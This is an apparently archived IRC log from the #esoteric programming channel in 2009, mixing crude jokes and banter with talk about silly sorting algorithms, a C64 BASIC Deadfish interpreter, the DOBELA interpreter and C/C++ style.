it, so i can submit it to bash where it will join the ranks of the other "SOMETHING CATOSTROPHIC HAPPENED SO I CAME TO TELL YOU GUYS ON IRC FIRST INSTEAD OF ATTEMPTING TO DEFUSE THE HOSTILE SITUATION" quotes that are grossly abundant, similar, and overrated. and despite a new one is submitted each week and only the location of the fire is alt 23:53:22 ered, loyal viewers firmly believe it is a unique and hilarious quotation, pledging support in the form of unneccesary votes 23:53:25 Bash quote 60469. 23:53:47 Note that there's at least another digit on quotes nowadays. 23:53:50 People just don't get the hint :P 23:57:25 I think something's broken 23:58:47 * Sgeo pokes GregorR 2009-05-10: 00:01:55 GregorR: a 00:04:39 oh no, my room stopped burning. now there's ice on the walls. 00:05:59 (not an actual quote btw) 00:06:52 although that would be a subverted trope, i guess by your explanation this is already at undead horse stage 00:08:52 Another thing that basically sums up bash: 00:08:53 < robT> Name ONE thing that your windows comp can do that my MAC cant 00:08:54 < bawss> Right click. 00:08:59 (one of the 100 top rated quotes) 00:09:17 Freaking bash.org 00:09:23 -!- coppro has quit (Read error: 110 (Connection timed out)). 00:11:51 afk 00:14:01 First my middle clicks don't work sometimes, now my left clicks. 00:14:10 This cheapo mouse has a ~2 year shelf life. 00:14:15 -!- jix has quit ("Lost terminal"). 00:16:25 Maybe when I upgrade stuff, I should get a new mouse. 00:16:35 It's a bit... Old. 00:17:22 I think it's from my first Linux box, which was old 7 years ago. 00:17:52 (when I got it) 00:17:54 I'm pretty much throwing out everything w/ my new box, since I don't really have much attachment to anything. It's just an imac+apple kb+crap mouse 00:19:11 I've got an absurdly old CD burner that I plan to keep, since I'm too cheap to bother upgrading that. 00:20:13 Not even DVD? 00:20:15 For shame ;-) 00:20:25 I have a DVD-ROM drive. 00:20:26 I'm probably going to nab some hw from this iMac for safekeeping... 00:20:38 My CD burner does CD-Rs at 12x and CD-RWs at 4x. 00:20:39 ;) 00:20:42 e.g., there's 2.5gb of ddr2 ram in here. 00:20:48 Could be useful somewhere. 00:20:57 pikhq: Not even a dvd burner? :P 00:21:14 Say, is there a typing test that does *not* involve trying to transcribe something? 00:21:26 * pikhq notes that he is at his slowest when trying to copy text 00:21:35 ehird: Not even a DVD burner. 00:24:09 hmm 00:41:25 -!- KingOfKarlsruhe has quit (Remote closed the connection). 00:45:30 What idiot thought the new food pyramid was a good idea? 00:45:44 http://tvtropes.org/pmwiki/pub/images/camerahouse.jpg this is meant to be photoshopped-looking can someone please explain 00:46:20 Anybody over five can draw the old one. The new one is like "You may eat 0.05 radians of oils" 00:46:34 :D 00:48:20 LMAO 00:48:30 pikhq: is that re: my image or GregorR 00:48:35 i cannot figure out the image 00:48:46 GregorR. 00:48:54 darn 00:48:55 I can't see anything photoshoppish in that image 00:49:19 * pikhq wonders what the fuck the USDA was thinking with "MyPyramid". 00:50:26 Also, they've got the proportions all wrong. You need to eat at least 0.5 radians of caffeine-bearing beverages 00:51:13 pikhq: It's actually a circle, the normally-displayed "pyramid" section is actually like a pie slice of that, the remainder is caffeine. 00:51:24 *Okay*. 00:51:32 That's more sensible. 00:52:25 Apparently, the USDA thinks that pyramid is simpler than the previous design. 00:52:33 Yes, really. 00:52:39 That's because the remainder of their circle is pot. 00:53:06 :-D 00:53:11 Ahah. 00:53:20 That does it. 00:54:30 It's part of a balanced diet. 00:55:13 GregorR: What about moxie? 00:55:21 Is the remainder actually moxie+pot 00:55:24 In one 00:55:28 Mot 00:55:45 That is too perfect to be considered part of the circle. It is above the circle. 01:02:46 -!- puzzlet has quit (Read error: 104 (Connection reset by peer)). 01:03:02 -!- puzzlet has joined. 01:03:04 It is in fact the sphere. 01:37:44 -!- oklodok has joined. 01:39:54 -!- oklofok has joined. 01:40:12 -!- jix has joined. 01:42:09 is it O(n!), or worse? <<< it's (n^2)! 01:42:40 oh you mean 01:42:40 mine 01:43:01 i have no idea about verysort, but it's much too fast to be n!. 01:43:10 it's probably polynomial. 01:43:20 not that he's here 01:56:00 -!- oklodok has quit (Read error: 113 (No route to host)). 02:17:52 verysort? :o 02:20:39 -!- jix has quit (Read error: 113 (No route to host)). 02:22:20 -!- bsmntbombdood has joined. 02:36:59 -!- jix has joined. 02:43:22 Gracenotes: http://www.vjn.fi/pb/p316313563.txt 02:43:42 just something i hacked up after a night without sleep. 02:44:17 ah, sleepless nights :D yeah. how does it perform? 02:44:25 well 02:44:32 hmm actually 02:44:44 an answer to you, and a correction to what i said to ais earlier 02:44:54 it is at least exponential 02:45:06 because you explicitly create all the possible orders. 02:45:23 well permutations 02:45:24 hm. bogosort? 02:45:39 not even remotely similar 02:46:01 except that both are slow, bogosort is much closer to bubblesort than this one 02:46:15 well, randomly picking an order vs. generating all of them.. 02:46:30 oh right bogosort, i was thinking bozosort. 02:46:58 bogosort is somewhat similar, except the generate all permutations part isn't the pont 02:46:58 *point 02:47:01 the points is the points 02:47:58 you randomly take two permutations of the list, and make them fight, which means picking a random pair of adjacent elements from both, A wins B if A's pair is in order, and B's is not 02:48:39 this part is fairly fast, and it's probably polynomial on n!, which lead me astray earlier 02:49:07 hm. Although... another alternative might be to start with a string for each letter, then continue building the permutation only if it's in order, until you reach something the length of the string 02:49:22 huh. this might require a bit of book-keeping. 02:49:39 err *led 02:49:48 string for each letter? 02:49:59 are we sorting lists of letters? 02:50:13 or what do you mean 02:50:31 e.g. building up the sorted sequence 02:50:38 this is an entirely different idea. sort of. 02:51:10 well. that's just depth-first search :P 02:51:38 if you have [2, 1, 3], start with [1], [2], and [3]. All sorted strings of length 2, from those: [1, 3], [1, 2] and [2, 3] 02:51:54 and from those, only [1, 2, 3] survives 02:52:06 O(n^2) 02:52:13 haha 02:52:13 no 02:52:13 hm. the interesting thing is... there is a lot of shared work here. 02:52:23 but yeah, I see that's not what you're doing 02:52:25 it's factorial 02:52:58 or at least not O(n^2) 02:53:05 wait, it is actually O(n^n). unless you share work of course. 02:53:28 but it's not quite that amount, because many branches are eliminated early 02:53:56 but, yes. so how many iterations did your algorithm take for various input sizes? 02:54:26 i haven't checked. 02:54:40 incrediblysort never sorts a list of size 4 02:55:35 nevar :o 02:56:26 well theta (minimum possible) is n!, but the probability of ever getting it sorted is pretty much 9 02:56:28 *0 02:57:06 I'm still fond of quantum bogosort. 02:57:33 unfortunately quantum bogosort would probably have the same time as regular bogosort 02:57:41 No. 02:57:45 hardehar 02:57:50 Allow me to describe the algorithm. 02:58:01 go ahead 02:58:03 do. 02:58:09 no 02:58:10 Randomise the list (thereby creating a universe for every permutation of the list). 02:58:19 If the list is not sorted, destroy the universe. 02:58:32 explain, in detail, your process for universe selection. 02:58:48 Gracenotes: you already have a quantum computer 02:58:50 ... 02:58:52 We don't. Multiple worlds theory. 02:58:58 :D 03:00:08 but such a check requires observation, and if it turns out the list is not sorted, you should probably give up 03:00:25 wut 03:00:40 destroying the universe won't make the one universe where the list *is* sorted any more accessible 03:01:01 Gracenotes: if you don't understand the theorem, just let it go, it's not worth thinking about anyway. 03:01:24 you're completely misunderstanding the idea (read: joke) 03:01:27 Gracenotes: you already have a quantum computer 03:01:44 okay, and even so, you can't select the particular universe where the list is sorted >:( 03:01:53 Gracenotes, all such universes exist simultaneously. 03:02:01 of course I get it's a joke, but I don't think it's that funny... 03:02:13 By destroying the universes that don't have a sorted list, you ensure the existing universes have a sorted list. 03:02:58 although, the existing universes have a sorted list whether or not you destroy the other ones :) 03:03:01 -!- Sgeo has quit (Read error: 145 (Connection timed out)). 03:03:05 Or, in other words: o <-- the joke v-- You 03:03:24 jesus Gracenotes 03:03:32 that's the whole deal with quantum computing 03:03:41 I get it. It's not that funny. 03:03:48 excuse me for killing it. I feel no remorse... 03:03:55 bsmntbombdood: rubbish 03:03:56 * pikhq stabs Gracenotes 03:04:04 Feel remorse! In the form of pain! 03:04:13 oerjan! 03:04:22 （　´_ゝ`） 03:04:25 oklofok! 03:04:39 oerjan: what? 03:04:44 ( ﾟ -ﾟ) . 03:04:50 * pikhq wishes urxvt would, y'know, *switch fonts* for non-ASCII characters 03:04:53 you called? 03:05:12 my client can't render those characters 03:05:21 oerjan: you wish! 03:05:35 oklofok: so does your face! 03:05:38 My client is capable of rendering those characters. 03:05:42 However, it refuses to. 03:05:57 oerjan: well your face does your mum 03:06:26 or at least that's what *i* wish 03:06:54 are they characters? 03:07:20 that glacolitic spidery ha is quite a character 03:07:41 I mean, I did implement a quantum simulator after all... 03:07:54 blah blah blah etc. 03:08:24 -!- comex has quit ("Disconnecting from stoned server."). 03:08:31 ^ul ((blah )S:^):^ 03:08:32 blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah ...too much output! 03:08:55 oerjan: that's one blah too many 03:09:14 oh noes. I think my feet are turning into hobbit feet! *looks at hair* 03:09:31 of course, I am 6 feet tall, so I don't think it's that likely 03:09:38 oklofok: rubbish, they form a perfect rectangle 03:10:02 13*5 03:10:11 admittedly the 13 might be bad luck 03:10:20 Gracenotes: what's that in human units? 03:10:22 -!- jix has quit (Read error: 113 (No route to host)). 03:10:42 oerjan: i meant the infinite amount of blahäs. 03:10:43 I use "foot" as a human unit, personally 03:10:44 *' 03:11:11 Gracenotes: no i think you just used it was relevant to the joke, because feet aren't in use anymore 03:11:14 oklofok: ic. well then it is also aleph-zero blahs too many 03:11:56 i should really move to hex, so i could say the same for base 10 03:12:08 oklofok: I am personally a fan of metric adoption. but I find most people on the internet don't use it on English IRC networks 03:12:09 oklofok: feet aren't in use anymore? this explains the obesity epidemic 03:12:37 *most*. Not all, of course! 03:12:46 at least it's better than "stone" as a unit of weight 03:12:49 oklofok: Approximately 3 metres. 03:13:02 you mean 2? 03:13:08 a bit under 2. 03:13:11 Yes. 03:13:12 2. 03:13:25 3 is a bit... Tall. 03:13:26 3 +- 1.5 03:13:55 Gracenotes: i'm finnish, therefore it's all i know :) 03:14:15 oklofok: Better than being American. 03:14:17 mm. metric still is a pretty arbitrary system 03:14:21 Most Americans only know American units. 03:14:29 Which is... Lame. 03:14:34 but at least it's a bit more consistent 03:14:36 well i do *know* how much a foot is. 03:14:48 30.48 or something 03:14:50 Gracenotes: Metric is more sensible only in that it's consistent. 03:15:02 for people who grow up in societies that use base 10 number systems 03:15:08 yes it is consistent :) 03:15:08 i had other reasons for asking. 03:15:15 Which is a vast improvement over imperial units. 03:15:35 I will clandestinely teach my children to use the metric system! mwahaha 03:15:40 oh wait, I'm gay. never mind. 03:15:48 base 10 is not really inherent to SI 03:16:01 Oh, you're gay? 03:16:12 yes 03:16:13 * pikhq keeps in mind not to be on IRC when at dad's house 03:16:24 :P 03:16:25 wha >_> 03:16:31 My dad is about as anti-homosexual as they come. 03:16:47 pikhq: Gracenotes is not the only gay on this channel, in case you haven't noticed 03:16:57 it's okay. I won't hack your computer and email him links to lemonparty 03:16:59 oklofok: I actually didn't. 03:17:15 Largely because I don't give a flying fuck. 03:17:18 i fap to lemonparty 03:17:52 bsmntbombdood: *That*, however, is disturbing. 03:18:04 :D 03:18:05 pikhq: right, it's just some are a bit hard not to notice (psygnisfive), but i guess you don't read absolutely everything that happens here. 03:18:27 shock sites are not for fapping to 03:18:42 this is surely a rule of the internet 03:18:45 (maybe hard to remember, in case you don't care) 03:18:48 And also, I really, truly could care less; it's a complete non-issue. ;) 03:18:58 Gracenotes: rule 34 overrules that rule, surely 03:19:16 depends on shock sites, many are just clips from fetish porn, and not even the interesting parts. 03:19:20 oerjan: Rule 34 states that there is porn of it, it does *not* state that the porn actually has an audience. 03:19:32 hm true 03:20:01 Of course, most of the porn without an audience is not for a shock site... 03:20:09 It's merely bad porn. 03:20:18 pikhq: And also, I really, truly could care less; it's a complete non-issue. ;) <<< i tend to consider every detail about irc people important, including what holes they prefer. 03:20:20 and rules one and two demonstrate that you are all posers 03:20:50 oklofok: That's quite disturbing. 03:21:04 bsmntbombdood: wait, what are those? 03:21:14 bsmntbombdood: 4chan is the asshole of the Internet. ;) 03:21:16 ...exactly 03:44:24 CONVERSATION FATALITY 03:46:12 well i left. 03:47:48 LATTIFY A CONSERVATION 03:48:34 RATIFY A CONVERSATION 03:49:26 NATIONAL IFFY RAT CONVICT 03:54:17 well i came. 03:55:13 Gracenotes: i thought we were finished with the sex talk for a while 03:57:02 KINKY. 03:59:06 YOUR MAJUSCULE PHYSIQUE TURNS ME ON 04:01:44 ELECTRONS ARE BETTER THOUGH. 04:02:26 OH KEEP WRITING LIKE THAT 04:03:30 we always talk about sex 04:05:21 And Lisp. 04:06:16 (the other sex) 04:06:32 you mean Haskell 04:06:49 * pikhq gasps 04:06:53 You're a Haskelsexual! 04:07:15 Don't you know that God Hates Haskells? 04:08:03 -!- bsmntbombdood has quit (Read error: 104 (Connection reset by peer)). 04:08:42 We're here, we're Haskell programmers, get used to it! 04:08:43 -!- bsmntbombdood has joined. 04:08:46 We're here, we're Haskell programmers, get used to it! 04:08:48 -!- bsmntbombdood has quit (Read error: 104 (Connection reset by peer)). 04:08:54 .. and so on... 04:09:11 :D 04:09:25 -!- bsmntbombdood has joined. 04:09:40 -!- bsmntbombdood has quit (Read error: 54 (Connection reset by peer)). 04:14:41 -!- bsmntbombdood_ has joined. 04:15:24 -!- coppro has joined. 04:29:31 ääliö 04:29:49 itse olet! 04:30:03 damn straight 04:30:34 nää, ä liöö y nähööltään viellysnäämmin 04:31:12 wtf does that mean 04:31:40 oerjan: you do a better fake finnish than psygnisfive :P 04:31:40 hm ääliö actually is a word 04:31:58 yeah 04:32:19 Na... Nananana Katamari Damashii... 04:32:37 i don't see ä an ö right, so had to take a guess which of those weird things means which 04:32:39 ööliä means beer 04:32:57 nope, the other one :D 04:33:33 oklofok: in what language? 04:33:35 so clearly if you have so much ööliä that you can't read properly, you get ääliö 04:33:41 bsmntbombdood_: finnish 04:34:42 someone told me it means "moron" 04:35:24 you mean they actually told you the truth? what a stupid use of a foreign expletitive 04:35:42 bsmntbombdood_: no no when you swap the umlauted chars. 04:35:42 someone was right 04:36:07 ...? 04:36:17 oklofok: erm you guessed wrong, incidentally 04:36:30 oerjan: oh, lol :P 04:36:43 ö 04:36:46 no i didn't 04:36:48 ääliö 04:37:17 oh i misunderstood you 04:37:24 i'm confused 04:37:28 :P 04:37:40 how many languages do you guys know anyway? 04:37:41 WHAT'S GOING ON IN HERE 04:37:55 bsmntbombdood_: what an ääliö, have you had too much ööliä? 04:37:55 the same four, but probably not as well as i used to :< 04:38:25 some lojban too ofc, and starting latin next fall 04:39:36 what are the other two? 04:39:46 well i know some swedish and german 04:40:03 mostly passively... 04:40:38 -!- zzo38 has joined. 04:41:03 hi joe 04:44:49 -!- zzo38 has quit (Read error: 104 (Connection reset by peer)). 04:44:56 by joe 04:45:25 ... 04:46:51 ääliö sanoo mitä? 04:52:58 some guy was gonna come in here and talk finnish to you 04:53:51 scary. 05:21:13 -!- puzzlet_ has joined. 05:32:43 -!- coppro has quit ("The only thing I know is that I know nothing"). 05:34:17 -!- puzzlet has quit (Read error: 110 (Connection timed out)). 05:38:26 -!- coppro has joined. 06:28:55 -!- Sgeo has joined. 06:40:34 -!- oerjan has quit ("leaving"). 06:46:49 -!- kar8nga has joined. 06:47:54 -!- coppro has quit (Read error: 110 (Connection timed out)). 06:57:58 -!- oklofok has quit (Read error: 113 (No route to host)). 06:59:55 -!- oklofok has joined. 07:06:53 -!- kar8nga has quit (Remote closed the connection). 07:26:28 -!- bsmntbombdood_ has quit (Remote closed the connection). 07:26:34 -!- oklofok has quit (Read error: 113 (No route to host)). 07:37:44 -!- Sgeo has quit ("Leaving"). 07:59:59 -!- clog has quit (ended). 08:00:00 -!- clog has joined. 08:22:28 -!- puzzlet_ has quit (Read error: 60 (Operation timed out)). 08:22:33 -!- puzzlet has joined. 08:32:45 -!- Dewi has quit ("bbl"). 08:33:26 -!- tombom has joined. 08:34:40 -!- puzzlet_ has joined. 08:34:49 -!- puzzlet has quit (Read error: 60 (Operation timed out)). 08:37:03 -!- Judofyr has quit (Remote closed the connection). 08:54:42 -!- BeholdMyGlory has joined. 09:21:25 -!- dbc has joined. 10:38:31 -!- WangZeDong has joined. 10:49:56 -!- Slereah has quit (Read error: 110 (Connection timed out)). 10:54:03 (Time for some hardware upgrades.) 10:56:24 -!- fizzie has quit ("Coyote finally caught me"). 11:08:13 -!- FireFly has joined. 11:27:22 -!- fizzie has joined. 12:15:22 -!- MigoMipo has joined. 12:29:50 -!- augur[sleep] has changed nick to augur. 12:46:46 -!- jix has joined. 13:16:44 -!- Judofyr has joined. 14:01:10 -!- Judofyr has quit (Read error: 113 (No route to host)). 14:04:18 -!- jix has quit (Read error: 113 (No route to host)). 14:07:22 -!- asiekierka has joined. 14:07:26 doh 14:07:30 Ais523 isn't there 14:07:56 anyway, hi 14:23:43 also ACK'd Oerjan's changes to dead64, just need to upload them 14:24:39 as in, to the full version 14:44:01 -!- kar8nga has joined. 15:06:55 asiekierka, "dead64"? 15:08:09 asiekierka, tested Deewiant's dobela (sp?) interpreter yet 15:17:12 bbl 15:21:28 -!- jix has joined. 15:39:23 "dead64" or DEADFISH 64 is my interpreter of Deadfish made in C64 Basic 15:39:38 The "light" version is on the esolang wiki 15:39:49 and in external links is the version with a subset of Deadfish~ 15:40:01 added some more stuff to it by now and fixed it more than the esolang wiki version 15:40:05 just need to upload it 15:40:43 v2 has the behavior mostly fixed (thanks to Oerjan) and it's more optimized and smaller than v1 15:40:54 v3 has new stuff, too 15:47:36 -!- augur has changed nick to psygnisfive. 15:47:43 -!- psygnisfive has changed nick to augur. 15:48:04 -!- augur has changed nick to psygnisfive. 15:55:44 -!- MigoMipo has quit ("QuitIRCServerException: MigoMipo disconnected from IRC Server"). 15:56:31 v3 has some statistics, help and another way to end a program (interactively) 15:56:36 I may write a non-interactive version though 15:57:07 which would probably support the stuffs that an interactive version can't 15:57:15 and may be the first interpreter of Deadfish~ 16:25:31 -!- tombom has quit ("Peace and Protection 4.22.2"). 16:32:29 -!- puzzlet has joined. 16:32:35 did saving but erased all that work 16:33:29 ok, fixed an annoying bug in dead64 16:33:33 now working back on saving 16:33:51 because it worked by now, loading will probably be worse though :( 16:33:57 SYN 16:34:17 what does SYN mean? 16:34:21 Save You Noob? 16:34:25 or Save, You Noob 16:34:31 Neither. 16:34:39 so what does it mean 16:34:39 The appropriate response is ACK. 16:34:44 ...oh 16:34:48 but what does SYN mean! 16:34:49 Read some RFCs, man! 16:34:53 too busy 16:35:05 At least read the TCP RFC. 16:35:49 pikhq: The appropriate response is SYN/ACK :P 16:36:03 pikhq: Then comes ACK 16:36:03 GregorR: Oh. You're right. 16:36:04 XD 16:36:09 Been a while. 16:36:29 Ack! 16:36:40 ACK. 16:36:43 (GAWD I'M SO F***ING FUNNY) 16:36:44 :P 16:44:58 oh god, DEADFISH 64 is already a riding mess on wheels 16:45:00 :/ 16:45:47 -!- puzzlet_ has quit (Read error: 110 (Connection timed out)). 16:50:07 -!- coppro has joined. 16:58:25 asiekierka, I'm going to test that dobela thingy 16:58:33 what was the spelling of it now again 16:58:53 DOBBELA? 16:58:54 DOBELA? 16:59:49 Section Headers: 16:59:49 [Nr] Name Type Addr Off Size ES Flags Lk Inf Al 16:59:49 [ 0] NULL 0000000000000000 00000000 00000000 0 0 0 0 16:59:49 [ 1] SNST STRTAB 0000000000000000 00000138 0000000e 0 0 0 1 16:59:49 [ 2] dobelx64 PROGBITS 0000000000000146 00000146 000010f7 0 WAX 0 0 8 16:59:52 Deewiant, that's unusual 17:00:06 usually the seconds are like .text .data .rodata or whatever 17:00:35 I know what GCC calls them; I have no obligation to call them that. 17:00:45 Deewiant, I thought that was standard 17:00:59 It is, fairly, but the names are completely irrelevant. 17:01:03 also what do the different sections contain there 17:01:21 AnMaster: Do (like in don't) - Bee - Lah 17:01:29 the "e" in "be" is long 17:01:39 also, I finished loading/saving in Deadfish 64 17:01:41 -!- kar8nga has quit (Remote closed the connection). 17:01:44 so it supports the non-interactive mode 17:01:46 whew 17:02:01 Deewiant, my system complains about writable stack in it 17:02:07 I'm sure it would 17:02:13 It contains self-modifying code. 17:21:20 -!- clog has joined. 17:21:20 -!- clog has joined. 17:22:07 Augh, I can't implement {} with my design 17:22:11 Oh well 17:22:18 Time for a redesign 17:23:06 Deewiant, how do you represent the playfield? 17:23:13 Array. 17:23:21 Deewiant, is it size limited?? 17:23:34 Yes, it's allocated before any execution. 17:23:54 DOBELA programs can't grow, so that's fine. 17:24:06 Deewiant, they can't? Huh. That's very odd 17:24:24 Only dots can travel outside the initial bounds, and dots without commands can't do anything. 17:24:40 Deewiant, so you discard them then? 17:24:44 Yep. 17:25:17 Deewiant, no wraparound? 17:25:19 :/ 17:25:28 It's not Befunge. :-P 17:25:54 C doesn't wraparound at every } either. 17:26:05 It should 17:26:07 AnMaster: If I ever do a redesign it won't be in C64 BASIC 17:26:15 It could. 17:26:30 It'd not be very useful but it could. 17:27:25 ehird, good idea 17:27:34 would mean you needed goto a lot 17:27:36 :D 17:27:51 No, you just need to write "return" explicitly. 17:28:03 if (blah) { code here; goto afterif; } afterif: morecode; ... 17:28:12 Oh right, ifs. 17:28:30 For some reason I was thinking of only functions and loops. 17:28:31 -!- MigoMipo has joined. 17:29:05 Deewiant, { ... } would be same as the legacy-C while(true) { ... } 17:29:07 For those, the thing to do is "if (blah) { code here; something that makes blah false }" 17:29:15 Yes, it would. 17:29:28 hmm 17:29:33 returning from a function jumps to its } 17:29:36 theoretically 17:29:40 therefore, return; doesn't help 17:29:43 it just restarts the function 17:29:49 ... tail recursion! 17:30:05 right 17:30:06 I don't see return working like that 17:30:15 you would need to longjump out of every function 17:30:21 longjmp()* 17:30:30 I suppose you can, although you need to explain where the return value goes 17:30:38 Deewiant: Well, falling off the end of a function into } does the same as what return; does 17:30:47 Deewiant, in a global variable? 17:30:48 return; yes, but return 0; not. 17:30:49 and since {} wrapping is our main paradigm, return jumping to } instead of vise-versa is the best choice 17:30:57 also, } is just return garbage; :-P 17:31:06 That's implementation-dependant. 17:31:14 } could be abort(); 17:31:21 err. 17:31:29 void foo() { printf("hi\n"); } 17:31:36 that doesn't abort() 17:31:43 int foo() { printf("hi\n"); } 17:31:44 That could. 17:31:49 ye 17:31:49 s 17:32:18 Finally done with v4 *wheeeew* 17:33:05 omg, V1 was 426 bytes, V2 was 390 bytes, V3 was 1071 bytes and V4 is 2207 bytes 17:33:12 GOD WHAT HAS THIS WORLD GONE TO!? TT__TT 17:33:22 What language? 17:33:40 C64 BASIC 17:33:43 heh 17:33:53 If I ever make V5, it will either be in Assembler or a minor update 17:34:04 but i did () 17:34:05 asiekierka, rewrite it in C64 asm yeah 17:34:16 AnMaster: Later. *sigh* I'm already tired working on this mess 17:34:21 Just... don't look at the source. 17:34:50 (There are programs to do so, but... just don't. It has been... "sqrt(hacked)".) 17:34:58 it's basic, why would I look at the source... 17:35:12 I'm just telling you to not because it has GOTOs on top of other GOTOs 17:35:21 my brain hurts. x_x 17:37:44 Basically. V2 = the C64 BASIC source in the Deadfish article + some other miscellany code 17:37:48 basically, * 17:44:19 upped V4 (along with source code) 17:44:43 asienet.site40.net/dead64v4.txt (The problem is it was the same piece of code being hacked over and over) 17:45:24 I will make a "lite" version though, which just cuts out the source of the extra features 17:45:34 wait, no, that'd be useless 17:46:55 And i DO know it's possible to clean it up a bit 17:47:00 i'm just too lazy to do so 17:48:37 asienet.site40.net/dead64v4.txt is empty. 17:49:19 ehird: That's just how easy it is to implement Deadfish. 17:50:39 -!- oerjan has joined. 17:52:28 ...huhwhat? 17:52:47 ...hmm 17:52:49 let me try again 17:52:51 oh, hi oerjan 17:52:52 oerjan, IWC today was "groan, oh my" 17:52:57 thanks for fixing my C64 implementation 17:53:03 you're welcome :) 17:53:26 i fixed it even more 17:53:30 and went as far as to add loading/saving 17:53:34 to the downloadable version 17:53:44 i fixed the boundary checks but i didn't make the prompting entirely compatible 17:53:56 the... prompting? 17:54:04 many other interpreters don't follow that slavishly 17:54:10 oerjan: Also, AFAIK, you forgot to fix i, i, s, s, s 17:54:12 the >> before each command 17:54:14 i fixed it 17:54:20 asiekierka: huh? 17:54:20 oerjan: You can't fix it easily 17:54:32 oerjan: 16 squared to 256 17:54:37 with your checks it would come as 0 17:54:44 it _shall_ be 0 17:54:47 that's the point 17:55:11 h...huh? 17:55:15 every time it hits 256 regardless of reason, from above or below, it's reset 17:55:48 btw the C interpreter is the standard 17:56:07 "It's more likely because those that write theorem provers want to be able to verify parts of the theorem provers implementation themselves within in a theorem prover." 17:56:18 $ xzibit 17:56:21 ;; Xzibit theorem prover 17:56:22 > 17:56:39 I think I did read somewhere that "the accumulator ranges from 0 to 255 unless it is squared" 17:56:54 asiekierka: that's valid, sort of 17:56:59 it just means you can go over 255 with squaring 17:57:00 asiekierka: well that means that you cannot escape the range without squaring 17:57:06 so i square 17:57:09 from 16 to 256 17:57:11 :P 17:57:22 but once you've square _beyond_ 256 things go haywire 17:57:27 *squared 17:57:35 asiekierka: you need to be more clever to escape 17:57:44 iissis does it 17:58:00 and then what 17:58:04 (and is probably the minimal way to escape 17:58:06 sssssssssssssssssssssssssssssssss 17:58:08 er 17:58:12 replace s's with d's 17:58:14 in my part 17:58:28 (as in, escaping _through_ the minimal value) 17:58:51 yeah, something like that, and when you decrement to 256 it becomes instantly 0 17:58:59 Citing the author of Deadfish from the Deadfish~ article 17:59:00 Like its predecessor, the accumulator ranges from 0 to 255 unless it is squared! 17:59:45 "Predecessor" refers to Deadfish original 17:59:47 asiekierka: it should be noted that many [weasel word] suspect the author did not originally know how to make it do what he want 18:00:23 Do you refer to the C implementation or to the idea 18:00:26 so in essence all the rest of us took the joke of running with translating a broken program faithfully 18:00:32 the C implementation 18:01:01 except i think the Ruby and ZiziQue interpreters don't, and maybe some of the ones i cannot read 18:01:06 I think I will make V5 in BASIC which can run in both "compatibility mode" and "rightful" mode 18:01:16 (i don't know ruby enough to try to correct it) 18:01:18 and the C64 one doesn't 18:01:44 While I want to have a correct implementation, too 18:01:45 well it would be much closer with my changes from yesterday 18:01:59 a "correct" as in "author's correct" 18:02:09 not "implementation-correct" 18:02:46 Also, where the hell can I find out anything about ZiZiQue 18:04:00 so, if I make a bf-to-C compiler, coded in scheme (basic optimization, but not the fancy stuff probably), what should I call it? 18:04:14 BFsCheme 18:04:25 BF2C-heme 18:04:35 BFtoC-heme 18:04:43 that's a rather lame pun 18:04:45 i don't know about ZiziQue 18:04:50 maybe google 18:06:04 what the hell is ZiziQue? 18:06:32 AnMaster: a language referenced among the Deadfish examples on the wiki 18:06:55 that is the only reference I can find to it when I google 18:07:00 AnMaster: oh it's that number again 18:07:05 let's search who added the ZiZiQue interpretation 18:07:09 (IWC *96) 18:07:27 oerjan, yes. But the wrong theme! 18:07:34 AnMaster: has happened before 18:07:42 it was in space once 18:07:49 it was? hm ok 18:08:05 zizique was a lang that used to be on the wiki 18:08:12 i guess it was deleted for not really being very esoteric 18:08:14 I liked it though 18:08:18 but this time it was rather forewarned 18:08:19 oh 18:08:22 ehird, what do you remember about it 18:08:23 aha 18:08:30 AnMaster: nothing much 18:08:41 the syntax was pretty, the paradigm novel 18:08:48 Zzo38 added ZiZiQue 18:08:57 oh 18:08:57 hm 18:08:58 maybe not that one 18:09:12 ah 18:09:13 no 18:09:16 zzo msut have learned it 18:09:19 it is the language I was thinking of 18:09:20 oh 18:09:21 the syntax was pretty, the paradigm novel <<< you're just messing with us, right? 18:09:25 oerjan: no 18:09:47 i distinctly recall it 18:10:14 ehird, and no source outside the wiki? 18:10:15 that's sad 18:10:26 AnMaster: the page used to exist 18:10:29 so an admin can recover it 18:10:35 it was designed for making text adventures 18:10:35 iirc 18:10:37 interactive fiction 18:10:43 there WAS a site 18:10:46 must be defunct now 18:10:55 do you have the link 18:10:58 do you have the link 18:11:01 no 18:11:01 no 18:11:07 oh so it was not zzo38's own language? 18:11:11 correct 18:11:51 What's all this then? 18:12:03 GregorR: not much 18:12:30 * oerjan fixes the C64 Deadfish for proper squaring behavior 18:12:47 Fix V4 too, then :DDD 18:12:55 V4? 18:13:02 the big interpreter 18:13:06 nah 18:13:25 -!- tombom has joined. 18:13:36 MUST ... FIND ... ZIZIQUE :P 18:13:45 GregorR: Step 1. Become wiki admin 18:13:49 asiekierka, make it V6, would accelerate faster. 18:13:54 I am become wiki admin, destroyer of worlds. 18:13:59 AnMaster: V5 is planned to be in Assembler 18:14:01 AnMaster: no no no, pull a slackware, skip to V7 18:14:05 this minor fix will be... V4a 18:14:37 ehird, odd number of cylinders aren't common afaik hm. 18:14:42 ehird: I find it weird that normal users can't read old pages at all >_> 18:14:52 GregorR: it's for reasons of national security 18:14:59 also, because they're usually spam etc 18:15:11 Huh, Factor's new C++ VM (well, Slava just added some C++ features to the C) isn't half bad. Nicest C++ code I've eve seen. 18:15:38 ehird, that won't last for long 18:15:43 a year at most 18:15:45 probably less 18:15:45 AnMaster: what? 18:15:49 before it is all messy C++ 18:15:53 err, no 18:16:00 he's pretty much finished the C++ transformation 18:16:07 and he isn't using any features that cause a run-time penalty 18:16:17 so it's basically fine 18:16:28 hm zizique was _not_ linked when zzo38 first included it in deadfish 18:16:38 ehird, sure, you start with good intentions, and it might be nice and such even... But soon some messy C++ feature will slither in... 18:16:49 AnMaster: this only applies if the programmer is a retard. 18:16:57 it happened in every C project going C++ "but only with the non-messy bits" that I have seen 18:17:00 by the same logic, Lisp is a bad language to use because the programmer will get tricksy. 18:17:12 Fact is, if they get tricksy, they're a bad programmer. 18:17:48 This is why I suggest using Lightweight C++. 18:17:49 ehird, you misunderstood me I think. 18:17:55 AnMaster: no, I didn't 18:17:58 It *is* C++ without the really screwy features. ;) 18:18:30 pikhq: it's also 